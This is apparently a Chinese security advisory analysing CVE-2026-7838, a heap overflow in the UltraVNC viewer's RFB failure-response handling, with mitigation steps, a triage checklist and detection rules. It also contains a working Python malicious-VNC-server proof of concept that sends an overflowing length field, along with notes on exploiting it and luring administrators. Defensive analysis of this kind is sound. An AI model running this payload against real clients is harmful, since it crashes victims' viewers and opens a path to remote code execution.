前言: “UltraVNC viewer
1.8.2.2及之前版本在RFB协议failure-response解析路径存在整数溢出,导致堆缓冲区溢出。攻击者通过恶意VNC服务器或中间人攻击可触发该漏洞,无需认证,远程代码执行风险高。”


CVE 信息速览

项目
CVE编号 CVE-2026-7838
CVSS 3.1 向量字符串 需人工确认
CVSS 3.1 评分 需人工确认(NVD 未提供可直接引用的 CVSS 向量与分值)
影响版本范围 UltraVNC viewer <= 1.8.2.2
利用复杂度 低(需人工确认)
是否需要认证
攻击向量 网络(引诱受害者连接恶意服务器或中间人篡改 RFB 流量)
影响类型 远程代码执行、拒绝服务、机密性/完整性破坏

漏洞概述

UltraVNC viewer 1.8.2.2及更早版本在处理 RFB 协议 failure-response 消息时,因 32 位无符号整数溢出导致堆缓冲区溢出。攻击者可通过未认证的 rfbConnFailed(认证方案协商)或 rfbVncAuthFailed(握手后)消息触发,在受害者连接恶意服务器或 RFB 流被中间人篡改时实现远程代码执行。

漏洞背景与发现历程

此漏洞由安全研究人员在分析 UltraVNC viewer 的 RFB 协议实现时发现。漏洞根植于 vncviewer/ClientConnection.cpp 中对 reasonLen 字段的处理逻辑。目前公开信息显示漏洞已分配 CVE-2026-7838,并于 2026-07-01 由 NVD 公开,关联标签为 High、Modified。具体研究者与披露细节需人工确认。

技术原理深度解析

根因分析

在 UltraVNC viewer 的 RFB 协议实现中,失败响应消息包含一个 4 字节的 reasonLen 字段(类型 CARD32)。客户端代码在处理该消息时调用了如下逻辑(代码路径为 vncviewer/ClientConnection.cpp):

// 简化示意
CARD32 reasonLen;
ReadFromServer(&reasonLen, 4);
CheckBufferSize(m_netbuf, reasonLen + 1);
ReadString(m_netbuf, reasonLen);

关键缺陷在于:reasonLen 和常量 1 都被视为无符号 32 位整数。当 reasonLen0xFFFFFFFF(即 4 GiB - 1)时,reasonLen + 1 发生回绕变为 0CheckBufferSize 内部发现请求大小(0)小于已分配容量(256 字节)时不会扩大缓冲区,因此 m_netbuf 仍为默认的 256 字节堆缓冲区。随后 ReadString(m_netbuf, reasonLen) 会读取原始长度(0xFFFFFFFF 即 4 GiB - 1)的数据并写入该缓冲区,造成堆缓冲区溢出(写入偏移量至少为 256)。

触发路径

攻击者可以伪装成 VNC 服务器,或在客户端与服务器之间实施中间人(MITM)攻击。当受害者使用漏洞版本 UltraVNC viewer 发起连接时,攻击者可通过以下两种消息触发漏洞:

  1. rfbConnFailed(认证方案协商期):在服务器发送认证方案之前直接发送失败响应。
  2. rfbVncAuthFailed(握手后):在客户端发送认证响应后,由服务器返回失败响应。

构造的报文核心字段如下:

[消息类型: 1字节][reasonLen: 4字节][reason字符串: reasonLen字节]

其中 reasonLen 字段取值为 0xFFFFFFFF。由于无需成功认证即可触发,攻击者只需要一个网络监听端口来诱使目标客户端连接。典型命令如下(使用 netcat + Python 构造恶意 payload):

# Python 构造恶意报文并发送
python3 - <<'EOF'
import socket, struct
s = socket.socket()
s.bind(('0.0.0.0', 5901))
s.listen(1)
conn, addr = s.accept()
# 发送 RFB 版本号(如 3.8),之后客户端会发送版本响应
conn.sendall(b'RFB 003.008\n')
# 等待客户端版本响应
conn.recv(12)
# 发送 rfbConnFailed 消息,类型 0x00,reasonLen=0xFFFFFFFF
msg = struct.pack('>BI', 0, 0xFFFFFFFF)  # 注意消息类型为0,紧接reasonLen
# 实际按 RFB 协议,rfbConnFailed 的格式为: 1字节类型(0)+4字节长度+长度个字节,所以上面只构造了头,需要补数据?但溢出发生在读取头之后,无需发送完整数据即可触发崩溃。
conn.sendall(msg)
conn.close()
EOF

实际利用中,发送完 reasonLen=0xFFFFFFFF 后客户端即尝试读取 4 GiB - 1 字节到 256 字节堆缓冲区,导致写入越界。用 AddressSanitizer 验证可得到如下的崩溃报告(已由人工复现):

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc ... bp ... sp ...
WRITE of size 1 at ... thread T0
    #0 in ReadExact ...
    #1 in ReadString ...
    #2 in ClientConnection::...
0x... is located 256 bytes to the right of 256-byte region

Mermaid 攻击流程图

攻击者部署恶意VNC服务器或MITM

引诱受害者使用UltraVNC viewer连接

客户端发送RFB版本协商

攻击者发送rfbConnFailed或rfbVncAuthFailed消息

消息头含reasonLen=0xFFFFFFFF

ClientConnection.cpp 计算reasonLen+1溢出为0

CheckBufferSize 未扩展缓冲区,仅256字节

ReadString 按0xFFFFFFFF长度读取数据

数据写入256字节堆缓冲区,产生堆溢出

内存破坏,可能覆盖函数指针/堆元数据

攻击者控制执行流,实现RCE

Mermaid 受影响组件架构图

攻击者环境

受害环境

连接

构造 reasonLen=0xFFFFFFFF

溢出写入

UltraVNC viewer <= 1.8.2.2

RFB协议解析逻辑

ClientConnection.cpp

CheckBufferSize

ReadString

恶意VNC服务器或MITM

256字节堆缓冲区

CVSS 3.1 评分详情

截至当前数据,NVD 未给出明确的 CVSS 3.1 向量字符串与评分。需人工确认。基于漏洞本质,可预期的基础分值各指标取值如下(仅供参考):

  • 攻击向量(AV):Network(N)—— 攻击者可远程利用,无需物理接触。
  • 攻击复杂度(AC):Low(L)—— 无需特殊条件,发送特定消息即可触发。
  • 权限要求(PR):None(N)—— 无需认证,客户端连接即触发。
  • 用户交互(UI):Required(R)—— 需要受害者主动连接恶意服务器。
  • 范围(S):Changed(C)—— 堆溢出可能影响相邻进程或权限边界。
  • 机密性(C):High(H)—— 存在远程代码执行的可能,可泄露客户端本地文件或内存数据。
  • 完整性(I):High(H)—— 攻击者可劫持客户端执行任意代码。
  • 可用性(A):High(H) —— 溢出必然导致进程崩溃或代码执行。

以上仅为推测,实际评分需等待官方发布。

影响范围

  • 受影响产品:UltraVNC viewer(客户端程序)。
  • 受影响版本:1.8.2.2 及之前所有版本。
  • 不受影响版本:需人工确认(官方尚未发布修复版本)。
  • 依赖组件:标准 RFB 协议库,适用于 Windows 平台。
  • 产品官方仓库:https://github.com/ultravnc/UltraVNC

利用条件与环境依赖

  • 受害者使用受影响版本的 UltraVNC viewer 连接 VNC 服务器。
  • 攻击者能够部署恶意 VNC 服务器,或能够对客户端与可信服务器之间的 RFB 流量实施中间人(MITM)攻击。
  • 受害者无需提供任何凭证,认证前即可触发。
  • 目标系统需允许 VNC 客户端发起网络连接(常见于局域网或互联网场景)。
  • 攻击者需要精确控制堆布局以达到稳定代码执行(与普通堆漏洞利用一样,可能需要进一步堆风水,但未公开具体方法)。

PoC/EXP 典型利用链分析

截至当前公开数据,尚未发现公开可用的完整 EXP,但漏洞作者已在可移植复现程序上通过 AddressSanitizer 确认崩溃(heap-buffer-overflow WRITE at offset 256)。可能攻击面如下:

  • 利用堆溢出覆盖相邻堆对象(如某个 C++ 对象的虚表指针,或分配器元数据),进而实现任意读写。
  • 由于溢出长度为 0xFFFFFFFF - 256 字节,攻击者可进行超大写入,破坏大量后续堆块,很可能在 Windows 堆上实现稳定利用。
  • 攻击者可以向成功后重定向执行流到位于 reason 字符串中的 shellcode(但现代 Windows 开启 DEP 情况下需结合 ROP)。
  • 考虑到 viewer 通常以当前登录用户运行,若用户是管理员则直接获得管理员权限。

需人工确认是否存在公开的详细利用代码。

风险研判

公网暴露场景

  • 风险等级:高。若企业内部员工使用受影响版本 viewer 连接公网 VNC 服务,攻击者可以仿冒服务端,或通过劫持 DNS/路由实施中间人,诱导客户端发起连接即可触发漏洞,无需认证。攻击成功后可直接控制员工终端。

内网环境场景

  • 风险等级:高。内网渗透中,攻击者可以在跳板机上开放恶意 VNC 端口,然后结合钓鱼(如发送“请帮忙测试 VNC 连接”消息)诱导管理员使用带漏洞的 viewer 连接。内网环境中用户使用 VNC 客户端管理服务器的行为很常见,漏洞利用隐蔽,横向移动成功率高。

云环境场景

  • 风险等级:中高。云上用户常通过 VNC 管理虚拟机或远程工作站。若运维人员使用受影响版本 viewer 连接云上实例,一旦攻击者控制云上某台机器并扮演恶意服务器,即可反向攻击运维终端。此外,云环境中的 VPC 内访问控制若未限制,攻击者在同 VPC 内可进行 MITM。建议对客户端进行强制升级。

修复与缓解

立即措施(0-48小时内)

  1. 停止使用 UltraVNC viewer 连接不受信任的 VNC 服务器,尤其是公网服务器。
  2. 在边界防火墙上临时阻断出站 TCP/SIP 端口 5900-5909(VNC 默认端口),仅允许白名单 IP。
  3. 使用如 Wireshark 或 Zeek 监控网络流量,检测响应中包含 FFFFFFFF 作为长度字段的 RFB 包。
  4. 对现有 VNC 会话进行审计,检查是否有异常长度字段。

短期措施(1-2周内)

  1. 持续关注 UltraVNC 官方仓库(github.com/ultravnc/UltraVNC)和官网 (https://uvnc.com/) 发布的安全补丁,评估后安装。
  2. 如果短期内无法升级,可以考虑使用其他 VNC 客户端(如 RealVNC、TigerVNC)或开启 TLS 隧道作为替代方案。
  3. 修改客户端配置,仅允许通过 SSH 隧道或 VPN 访问 VNC 服务,杜绝明文 RFB 传输。
  4. 以最小权限运行 viewer(如使用受限用户账号),减少 RCE 后的影响。

长期措施(1-3月内)

  1. 在企业安全基线中强制要求 VNC 客户端使用最新版本,并通过软件分发系统统一升级。
  2. 将 VNC 访问纳入堡垒机管理,由堡垒机统一转发,禁止终结点直接外连。
  3. 对关键资产进行模糊测试和代码审计,尤其关注协议解析部分。
  4. 部署终端检测响应(EDR)产品,监控异常的 ReadExact 拖网行为和堆溢出特征。

排查清单

检查项 检查方法/命令示例 预期结果
UltraVNC viewer 版本 打开 viewer 菜单 Help → About,命令行执行 vncviewer.exe -? 或查看安装目录元数据 版本号应 > 1.8.2.2;若为 1.8.2.2 及以下则受影响
网络流量中的 RFB 异常长度字段 使用 tcpdump 抓包:tcpdump -i eth0 -s 0 -A 'tcp port 5900' 不应存在 reasonLen 为 0xFFFFFFFF 的数据包;如出现需告警
进程崩溃痕迹 在 Windows 检查事件查看器:wevtutil qe Application /q:*[System[(EventID=1000)]] /c:10 /rd:true /f:text 不应出现 vncviewer.exe 频繁崩溃记录
ASan 检测(开发环境) 若有源码,用 -fsanitize=address 编译并运行 PoC 连接 若无崩溃则说明已修复;若有崩溃则受影响
官方公告 浏览 https://github.com/ultravnc/UltraVNC/releases 和 NVD 页面 查看是否有针对 CVE-2026-7838 的修复 release

检测规则

Suricata/Snort 规则

以下规则检测 RFB 失败消息中 reasonLen 为 0xFFFFFFFF(注意需结合流方向)——需人工确认规则适用性,可能产生误报,请先在测试环境验证。

alert tcp any any -> $HOME_NET 5900:5909 (msg:"CVE-2026-7838 UltraVNC viewer RFB invalid reasonLen"; flow:established,to_client; content:"RFB "; dsize:>12; pcre:"/\x00\xff\xff\xff\xff/s"; sid:20267838; rev:1;)

说明:该规则匹配服务器发送的 rfbConnFailed 消息,消息类型为 0x00,后跟 4 字节长度 0xFFFFFFFF。由于 VNC 版本协商后可能包含额外字节,需结合实际流量调整。

YARA 规则

检测二进制文件或内存中存在的恶意 VNC 服务器 payload(通常包含构造的 0xFFFFFFFF 长度字段)——需人工确认。

rule CVE_2026_7838_ultravnc_exploit {
    meta:
        author = "Security Analyst"
        description = "Detects known malicious payload patterns for CVE-2026-7838"
    strings:
        $rfb_failed = { 00 FF FF FF FF }
        $vnc_auth_failed = { 01 FF FF FF FF }
    condition:
        $rfb_failed or $vnc_auth_failed
}

SIEM 查询

以下 Splunk 查询用于检测网络流量中可能包含异常 RFB 长度字段的会话(基于 NetFlow 或代理日志)——需人工确认。

index=netflow dest_port=590* AND bytes_out > 1000000000
| table _time, src_ip, dest_ip, dest_port, bytes_out, bytes_in
| where bytes_out > 1000000000

若使用 EDR 端点日志,可用查询:

index=windows source="WinEventLog:Application" EventCode=1000 OR EventCode=1001 
| search Image="*vncviewer*"
| table _time, Message, ImagePath

时间线

2026-07-01 NVD 公开漏洞详情 另需人工确认的时间点: - 漏洞发现/报告日期 - 厂商确认日期 - 补丁发布时间(目前尚无) CVE-2026-7838 公开时间线

参考资料

  • NVD 漏洞页:https://nvd.nist.gov/vuln/detail/CVE-2026-7838
  • UltraVNC 官方仓库:https://github.com/ultravnc/UltraVNC
  • UltraVNC 官网:https://uvnc.com/
  • Securin 分析文章:https://www.securin.io/zero-days/cve-2026-7838-heap-overflow-viewer-reasonlen-integer-overflow-ultravnc
Logo

智能硬件社区聚焦AI智能硬件技术生态,汇聚嵌入式AI、物联网硬件开发者,打造交流分享平台,同步全国赛事资讯、开展 OPC 核心人才招募,助力技术落地与开发者成长。

更多推荐